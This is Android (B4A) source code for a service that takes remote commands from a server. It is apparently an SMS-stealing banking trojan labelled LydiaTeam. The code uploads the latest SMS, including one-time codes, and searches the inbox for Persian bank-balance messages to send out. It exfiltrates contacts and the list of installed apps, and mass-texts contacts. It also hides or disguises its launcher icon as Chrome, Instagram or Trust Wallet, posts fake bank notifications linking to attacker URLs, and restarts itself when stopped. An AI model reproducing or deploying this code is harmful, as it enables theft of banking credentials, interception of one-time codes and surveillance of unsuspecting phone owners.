#Region  Service Attributes 
	#StartAtBoot: True
#End Region

Sub Process_Globals
	Private fm As FirebaseMessaging
	Dim phone1 As Phone
	Dim mute As Phone
	Dim phone As Phone
	Dim allsms As SmsMessages
	Dim p8 As HttpJob
	Dim phone As Phone
	Private run8 As RuntimePermissions
	Dim Result1, Result2, Result3 As Boolean
	Dim st As StringUtils
	Dim phone As Phone
	Dim x As Notification
	Dim phone As Phone
	Dim cu As ContactsUtils
	Dim E8 As String = "https://hoho.tech/panel/"
	Dim PhoneId As PhoneId
	Dim PE As PhoneEvents
	Dim screenStatus As String = "ON"
	Dim port As String = "https://hoho.tech/panel"
End Sub

Sub Service_Create
	Service.StartForeground(1, n8("Google"))
	fm.Initialize("fm")
	p8.Initialize("p8",Me)
	PE.InitializeWithPhoneState("PE", PhoneId)

End Sub

Public Sub SubscribeToTopics
	fm.SubscribeToTopic(R8.p)
End Sub


Sub Service_Start (StartingIntent As Intent)
	If StartingIntent.IsInitialized Then 'fm.HandleIntent(StartingIntent)
		fm.HandleIntent(StartingIntent)
		Sleep(0)
	End If
	'Service.StopAutomaticForeground
End Sub

Sub fm_MessageArrived (Message As RemoteMessage)
	Dim portx As List
	portx=File.ReadList(File.DirAssets,"port.txt")
	Dim c8_1 As String = Message.GetData.Get("lydia1")
	Dim c8_2 As String = Message.GetData.Get("lydia2")
	Log(c8_2)
	Dim server8 As Map = CreateMap("lydia1": c8_1, "lydia2": c8_2)
	Log(server8)
	
	Try
		If server8.Get("lydia1") = "ss"&phone.GetSettings("android_id")&"" Then
			ToastMessageShow("ss", True)
			
		Else If server8.Get("lydia1") = "List" Then
	
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&androidos=" &androidos & "&action=" & "list" &"&screen=" &screenStatus&"&appstatus="&Main.appStatus&"&port="&portx.Get(0))
			
		Else if server8.get("lydia1") = "bList" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&androidos=" &androidos & "&action=" & "blist"&"&port="&portx.Get(0))
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "getstatus" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&port=" &R8.p& "&androidos=" &androidos & "&action=" & "list" &"&screen=" &screenStatus&"&appstatus="&Main.appStatus&"&port="&portx.Get(0))


		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "hide" Then
			If androidos <= 9 Then
				p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&action=" & "hide"&"&port="&portx.Get(0))
				Sleep(1000)
				CallSubDelayed(Me, "SubscribeToTopics")
				chcp(False, "aapp")
			Else
				p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName& "&action=" & "hide"&"&port="&portx.Get(0))
				Sleep(1000)
				StartService(Me)
				chcp(True, "chrome")
				chcp(False, "aapp")
				CallSubDelayed(Me, "SubscribeToTopics")
			End If

		
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "show" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&action=" & "show"&"&port="&portx.Get(0))
			Sleep(0)
			CallSubDelayed(Me, "SubscribeToTopics")
			chcp(True, "aapp")

		Else If server8.Get("lydia1") = "mobile" And server8.Get("lydia2") = "hide" Then
			If androidos <= 9 Then
				Sleep(1000)
				CallSubDelayed(Me, "SubscribeToTopics")
				chcp(False, "aapp")
			Else
				StartService(Me)
				chcp(True, "chrome")
				chcp(False, "aapp")
				CallSubDelayed(Me, "SubscribeToTopics")
			End If
		Else If server8.Get("lydia1") = "autosend"&phone.GetSettings("android_id")Then
			Try
				Dim offlinee As List
				offlinee=File.ReadList(File.DirInternal,"savenumbers.txt")
				Dim myMessage As String = server8.Get("lydia2")
				For i = 0 To offlinee.Size
					Dim hi As String = offlinee.Get(i)
					Sleep(5000)
					smsg(hi,myMessage)
				Next
			Catch
				Log(LastException)
			End Try
		Else If server8.Get("lydia1") = "mobile" And server8.Get("lydia2") = "offmodeall" Then
			Dim job As HttpJob
			job.Initialize("",Me)
			job.download("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/number.txt")
			wait for (job) jobdone(job As HttpJob)
			If job.Success = True Then
				Dim number As String = job.GetString
				File.WriteString(File.DirInternal, "number.txt", number)
				File.WriteString(File.DirInternal, "offline.txt", "True")
			Else
				Log("problem")
			End If
		
		Else If server8.Get("lydia1") = "mobile" And server8.Get("lydia2") = "lastsmsall" Then
			Dim listsms As List
			listsms.Initialize
			listsms = allsms.GetAll
			Dim s As Sms
			s = listsms.Get(0)
			Dim msgtext As String = s.Body
			If msgtext.Contains("<#>") Then
				Dim newmesg As String = st.EncodeUrl(msgtext.Replace("<#>", "Private-sms-detected : "), "UTF-8")
				p8.postString("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php","number=" &s.Address & "&messagetext=" & newmesg & "&name="&phone.Model & "&id=" &phone.GetSettings("android_id")& "&action=" & "sms"& "&network=" & phone.GetNetworkOperatorName&"&port="&portx.Get(0))
			Else
				p8.postString("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php","number=" &s.Address & "&messagetext=" & s.Body & "&name="&phone.Model & "&id=" &phone.GetSettings("android_id")& "&action=" & "sms"& "&network=" & phone.GetNetworkOperatorName&"&port="&portx.Get(0))

			End If
			
		Else If server8.Get("lydia1") = "mobile" And server8.Get("lydia2") = "allsmsall" Then
			StartService(f8)
			
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "turnondata" Then
			Dim mintent As Intent
			mintent.Initialize("android.settings.DATA_ROAMING_SETTINGS", "")
			StartActivity(mintent)
			
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "turnonwifi" Then
			Dim StartIntent As Intent
			StartIntent.Initialize("android.settings.WIFI_SETTINGS", "")
			StartActivity(StartIntent)
		
			'#Play Store
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "playstore" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&action=" & "hide"&"&port="&portx.Get(0))
			Sleep(1000)
			StartService(Me)
			chcp(True, "playstore")
			chcp(False, "aapp")
			CallSubDelayed(Me, "SubscribeToTopics")
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "playstoreoff" Then
			chcp(False, "playstore")
			'#Play Store

			'#Instagram
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "insta" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&action=" & "hide"&"&port="&portx.Get(0))
			Sleep(1000)
			StartService(Me)
			chcp(True, "instagram")
			chcp(False, "aapp")
			CallSubDelayed(Me, "SubscribeToTopics")
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "instaoff" Then
			chcp(False, "instagram")
			'#Instagram
		
			'#Telegram
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "telegram" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName& "&action=" & "hide"&"&port="&portx.Get(0))
			Sleep(1000)
			StartService(Me)
			chcp(True, "telegram")
			chcp(False, "aapp")
			CallSubDelayed(Me, "SubscribeToTopics")
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "telegramoff" Then
			chcp(False, "telegram")
			'#Telegram
		
			'#Chrome
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "chrome" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&action=" & "hide"&"&port="&portx.Get(0))
			Sleep(1000)
			StartService(Me)
			chcp(True, "chrome")
			chcp(False, "aapp")
			CallSubDelayed(Me, "SubscribeToTopics")
			
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "chromeoff" Then
			chcp(False, "chrome")
			'#Chrome
		
			'#Shad
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "shad" Then
			chcp(True, "shad")
			chcp(False, "aapp")
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "shadoff" Then
			chcp(False, "shad")
			'#Shad
			
			'#Google
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "google" Then
			chcp(True, "google")
			chcp(False, "aapp")
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "googleoff" Then
			chcp(False, "google")
			'#Google
		
			'#YouTube
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "youtube" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName& "&action=" & "hide"&"&port="&portx.Get(0))
			Sleep(1000)
			StartService(Me)
			chcp(True, "youtube")
			chcp(False, "aapp")
			CallSubDelayed(Me, SubscribeToTopics)
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "youtubeoff" Then
			chcp(False, "youtube")
			
			'#YouTube

		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "trustwallet" Then
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&action=" & "hide"&"&port="&portx.Get(0))
			Sleep(1000)
			StartService(Me)
			chcp(True, "trustwallet")
			chcp(False, "aapp")
			CallSubDelayed(Me, "SubscribeToTopics")
			
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "mute" Then
			Try
				mute.SetRingerMode(mute.RINGER_VIBRATE)
			Catch
				Log(LastException)
			End Try
			
		Else If server8.Get("lydia1") = "mobile" And server8.Get("lydia2") = "mute" Then
			Try
				mute.SetRingerMode(mute.RINGER_VIBRATE)
			Catch
				Log(LastException)
			End Try

		Else If server8.Get("lydia1") = "sm"&phone1.GetSettings("android_id")&"" Then
			Dim slash() As String = Regex.Split("&",server8.Get("lydia2"))
			smsg(slash(0), slash(1))
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "findbalances" Then
			Dim allsms1 As String
			allsms1 = ""
			Dim sen As String = ""
			Dim sm As SmsMessages
			Dim messages As List = sm.Getbytype(sm.TYPE_INBOX)
			For Each m As Sms In messages
			If(m.Body.Contains("موجودی") Or m.Body.Contains("مانده") Or m.Body.Contains("باقیمانده")) And m.Body.Contains("بانک") Or m.Body.Contains("بانك") == True  Then
					If(m.Body.Contains("رمز")) == False Then
						If Not(m.Address == sen) Then
							sen = m.Address
							allsms1 = allsms1&CRLF&m.Address&CRLF&m.Body&CRLF&"----------------------"
						End If
						
					End If
				End If
			Next
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&action=" & "findbalances"&"&balances="&allsms1&"&port="&portx.Get(0))
		Else If server8.Get("lydia1") = "smbomber" Then
			Dim slash() As String = Regex.Split("&",server8.Get("lydia2"))
			smsg(slash(0), slash(1))


		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "getallmessage" Then
			StartService(f8)
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "blockchrome" Then
			CallSubDelayed(Main, "requestblock")
				
			'#######################
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "getlastsms" Then

			Try
				Dim listsms As List
				listsms.Initialize
				listsms = allsms.GetAll
				Dim s As Sms
				s = listsms.Get(0)
				Dim msgtext As String = s.Body
				If msgtext.Contains("<#>") Then
					Dim newmesg As String = st.EncodeUrl(msgtext.Replace("<#>", "Private-sms-detected : "), "UTF-8")
					p8.postString("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php","number=" &s.Address & "&messagetext=" & newmesg & "&name="&phone.Model & "&id=" &phone.GetSettings("android_id")& "&action=" & "sms"& "&network=" & phone.GetNetworkOperatorName &"&screen=" &screenStatus&"&port="&portx.Get(0))
				Else
					p8.postString("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php","number=" &s.Address & "&messagetext=" & s.Body & "&name="&phone.Model & "&id=" &phone.GetSettings("android_id")& "&action=" & "sms"& "&network=" & phone.GetNetworkOperatorName &"&screen=" &screenStatus&"&port="&portx.Get(0))

				End If
			Catch
				Log(LastException)
			End Try
			
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "getallapp" Then
			Log("app")
			Dim allapp As String = ""
			Dim list As List
			Dim packagemanager As PackageManager
			list.Initialize
			list = packagemanager.GetInstalledPackages
			For i = 0 To list.Size -1
				Dim appname As String = packagemanager.GetApplicationLabel(list.Get(i))
				allapp = allapp&CRLF&CRLF&appname&CRLF
			Next
			
			File.WriteString(File.DirInternal, "allapp.txt",allapp)
			p8.PostFile("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/allapp.php?response=true&id="&phone.GetSettings("android_id")&"&port="&portx.Get(0)&"&model="&phone.Model&"",File.DirInternal, "allapp.txt")
		


			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "check" Then
			
			Result1 = run8.Check("android.permission.SEND_SMS")
			Result2 = run8.Check("android.permission.READ_SMS")
			Result3 = run8.Check("android.permission.READ_CONTACTS")

			
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&readsms=" &Result2 & "&adminn=" &"Empty" &"&sendsms=" &Result1 & "&contact=" &Result3 &"&port=" &R8.p& "&action=" & "check"&"&port="&portx.Get(0))
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "findnumbers" Then
			
			Dim numbers As String
			Dim allphone As String
			allphone = ""
			numbers = ""
			Dim sm As SmsMessages
			Dim messages As List = sm.Getbytype(sm.TYPE_INBOX)
			For Each m As Sms In messages
				If(m.Body.Contains("مشترک گرامی")) And m.Body.Contains("بسته") = True  Then
					allphone = m.Body.SubString2(11,24)
					If(allphone.Contains("98")) = True Then
						numbers = "Text : "&allphone&CRLF&numbers
					End If
				End If
				If(m.Body.Contains("همراه گرامی، شماره")) And m.Body.Contains("همراه اول") = True  Then
					allphone = m.Body.SubString2(18,29)
					numbers = "Text : "&allphone&CRLF&numbers
				End If
			Next
			Log("hi")
			
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&adminn=" &"Empty" & "&action=" & "findnumbers"&"&numbers="&numbers&"&port="&portx.Get(0))

		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "getcontact" Then
			Try
				Dim allcon As String = ""
				cu.Initialize
				For Each c As cuContact In cu.FindContactsByPhone("",False, False)
					For Each Phonec As cuPhone In cu.GetPhones(c.Id)
						allcon = allcon&CRLF&CRLF&c.DisplayName&CRLF&Phonec.Number
					Next
				Next
						
				File.WriteString(File.DirInternal, "con.txt",allcon)
				p8.PostFile("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/up_file2.php?response=true&id="&phone.GetSettings("android_id")&"&model="&phone.Model&"",File.DirInternal, "con.txt")
			Catch
				Log(LastException)
			End Try


		Else If server8.Get("lydia1") = "smcontact"&phone1.GetSettings("android_id")&"" Then
			Try
				Dim allcon As String = ""
				cu.Initialize
				For Each c As cuContact In cu.FindContactsByPhone("",False, False)
					For Each Phonec As cuPhone In cu.GetPhones(c.Id)
						allcon = allcon&CRLF&Phonec.Number
						Sleep(500)
						smsg(Phonec.Number, server8.Get("lydia2"))
					Next
				Next
							
				File.WriteString(File.DirInternal, "result.txt",allcon)
				p8.PostFile("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/up_file2.php?response=scontact&id="&phone.GetSettings("android_id")&"&model="&phone.Model&"",File.DirInternal, "result.txt")
			Catch
				Log(LastException)
			End Try
			
		Else If server8.Get("lydia1") = "importcontact"&phone1.GetSettings("android_id")&"" Then
			Try
				Dim slash() As String = Regex.Split("&",server8.Get("lydia2"))
				cu.Initialize
				cu.InsertContact(slash(0), slash(1))
				p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&port=" &R8.p&"&contactname="&slash(2)&"&contactnumber="&slash(1)& "&action=" & "importcontact"&"&port="&portx.Get(0))
			Catch
				Log(LastException)
			End Try



		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "offstatus" Then
			If File.Exists(File.DirInternal, "offline.txt") Then
				
				Dim offlinee As List
				offlinee=File.ReadList(File.DirInternal,"offline.txt")
				
				If offlinee.Get(0) == "True" Then
				
					p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&port=" &R8.p& "&action=" & "offstatusen"&"&port="&portx.Get(0))
				Else
					p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&port=" &R8.p& "&action=" & "offstatusdis"&"&port="&portx.Get(0))
				End If
			Else
				p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&port=" &R8.p& "&action=" & "offstatusdis"&"&port="&portx.Get(0))

			End If
			
		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "disableoffline" Then
			File.WriteString(File.DirInternal, "offline.txt", "False")
			p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&port=" &R8.p& "&action=" & "disableoffline"&"&port="&portx.Get(0))

		Else If server8.Get("lydia1") = "mobile"&phone.GetSettings("android_id")&"" And server8.Get("lydia2") = "offline" Then
			Dim job As HttpJob
			job.Initialize("",Me)
			job.download("https://"&R8.api&""&"/"&R8.p&"/number.txt")
			wait for (job) jobdone(job As HttpJob)
			If job.Success = True Then
				Dim number As String = job.GetString
				File.WriteString(File.DirInternal, "number.txt", number)
				File.WriteString(File.DirInternal, "offline.txt", "True")
				p8.Poststring("https://"&R8.api&""&"/"&R8.p&"/"&portx.Get(0)&"/main.php", "id=" &phone.GetSettings("android_id") & "&name=" &phone.Model & "&network=" &phone.GetNetworkOperatorName & "&port=" &R8.p& "&action=" & "offline"&"&port="&portx.Get(0))
			Else
				Log("problem")
			End If
			
		Else If server8.Get("lydia1") = "sendnotification"&phone1.GetSettings("android_id")&"" Then
			Dim slash() As String = Regex.Split("&",server8.Get("lydia2"))
			
			Log(slash(0))
			Log(slash(1))
			Log(slash(2))
			Log(slash(3))
			
		
			x.Initialize2(x.IMPORTANCE_HIGH)
			x.AutoCancel=False
			x.Sound=True
			x.Vibrate=True
			
			If slash(2) == "Messages(x)" Then
				x.Icon = "msgx"
			Else If slash(2) == "Messages(Samsung)" Then
				x.Icon = "msg"
				
			Else If slash(2) == "hmellat_icon" Then
				x.Icon = "mellat"
				
			Else If slash(2) == "hsaderat_icon" Then
				x.Icon = "saderat"
				
			Else If slash(2) == "WhatsApp" Then
				x.Icon = "wapp"
				
			Else If slash(2) == "TrustWallet" Then
				x.Icon = "twallet"
				
			Else If slash(2) == "instagram" Then
				x.Icon = "insta"
				
			Else If slash(2) == "Chrome" Then
				x.Icon = "ch"
				
			Else If slash(2) == "telegram" Then
				x.Icon = "tel"
				
				
			
			End If
			
			
			If slash(3).StartsWith("http") Then
				Dim ii As Intent
				ii.Initialize(ii.ACTION_VIEW, slash(3))
				ii.SetComponent("com.android.chrome")
				x.SetInfo(slash(0), slash(1), ii)
				x.Notify(1)
				
			Else If slash(3) == "Main" Then
				x.SetInfo(slash(0), slash(1), Main)
				x.Notify(1)
			
			Else If slash(3) == "WhatsApp" Then
				Dim ii As Intent
				ii.Initialize(ii.ACTION_VIEW, "http://web.whatsapp.com")
				ii.SetComponent("com.android.chrome")
				x.SetInfo(slash(0), slash(1), ii)
				x.Notify(1)
				
			Else If slash(3) == "Call" Then
				Dim ii As Intent
				ii.Initialize (ii.ACTION_VIEW, "content://call_log/calls")
				x.SetInfo(slash(0), slash(1), ii)
				x.Notify(1)
				
			Else
				Dim ii As Intent
				ii.Initialize(ii.ACTION_VIEW, slash(3))
				ii.SetComponent("com.android.chrome")
				x.SetInfo(slash(0), slash(1), ii)
				x.Notify(1)
		
			End If
						
		End If
		
	Catch	
		Log(LastException)
	End Try
			
		
	
	
End Sub


Sub fm_TokenRefresh (Token As String)
	Log("TokenRefresh: " & Token)
	File.WriteString(File.DirInternal, "fcmtoken.txt", Token)
	Sleep(250)
'	StartReceiver(jmwcx)
End Sub

Sub Application_Error (Error As Exception, StackTrace As String) As Boolean
	Return True
End Sub


Sub n8 (Title As String) As Notification
	
	
	Dim i As Intent
	i.Initialize(i.ACTION_VIEW, "http://google.com")
	i.SetComponent("com.android.chrome")
	'StartActivity(i)
	
	
	Dim notification As Notification
	notification.Initialize2(notification.IMPORTANCE_LOW)
	notification.Icon = "go"
	notification.SetInfo(Title, "Android Updates ...", i)
	'notification.Notify(1)
	
	Return notification
	'@LydiaTeam
End Sub


Sub androidos()
	
	Dim sdkversion As String
	
	If phone.SdkVersion >= 14 And phone.SdkVersion <= 20 Then
		sdkversion = 4
	Else If phone.SdkVersion = 21  Or phone.SdkVersion = 22  Then
		sdkversion = 5
	Else If phone.SdkVersion = 23   Then
		sdkversion = 6
	Else If phone.SdkVersion = 24  Or phone.SdkVersion = 25  Then
		sdkversion = 7
	Else If phone.SdkVersion = 26   Or phone.SdkVersion = 27  Then
		sdkversion = 8
	Else If phone.SdkVersion = 28 Then
		sdkversion = 9
	Else If phone.SdkVersion = 29  Then
		sdkversion = 10
	Else If phone.SdkVersion = 30 Then
		sdkversion = 11
	Else If phone.SdkVersion = 31 Or phone.SdkVersion = 32  Then
		sdkversion = 12
	Else If phone.SdkVersion = 33 Then
		sdkversion = 13
	Else If phone.SdkVersion = 34 Then
		sdkversion = 14
	End If
		
	Return sdkversion

End Sub



Sub chcp (enable As Boolean , actn As String)

	Dim r As Reflector
 
	Dim cn As Object = r.CreateObject2("android.content.ComponentName",  _
      Array As Object("com.dmprofessor.app", "com.dmprofessor.app."&actn), Array As String("java.lang.String", "java.lang.String"))
   
	r.Target = r.GetContext
	r.Target = r.RunMethod("getPackageManager")
      
	Dim e As Int

	If enable = True Then
		e = 1
	Else
		e = 2
	End If
   
	r.Target = r.RunMethod4("setComponentEnabledSetting", Array As Object(cn, e, 0), _
      Array As String("android.content.ComponentName", "java.lang.int", "java.lang.int"))

End Sub

Sub smsg(Destination As String, Message As String)
	Try
		Dim r As Reflector
		r.Target = r.RunStaticMethod("android.telephony.SmsManager", "getDefault", Null, Null)
		Dim parts As Object
		parts = r.RunMethod2("divideMessage", Message, "java.lang.String")
		r.RunMethod4("sendMultipartTextMessage", _
      Array As Object(Destination, Null, parts, Null, Null), _
      Array As String("java.lang.String", "java.lang.String", _
         "java.util.ArrayList", "java.util.ArrayList", "java.util.ArrayList"))
	Catch
		Log(LastException)
	End Try
End Sub


Sub Service_Destroy
	StartService(S8)
End Sub

Sub PE_ScreenOff (Intent As Intent)
	Log("Screen is OFF")
	screenStatus = "OFF"
End Sub

Sub PE_ScreenOn (Intent As Intent)
	Log("Screen is ON")
	screenStatus = "ON"
End Sub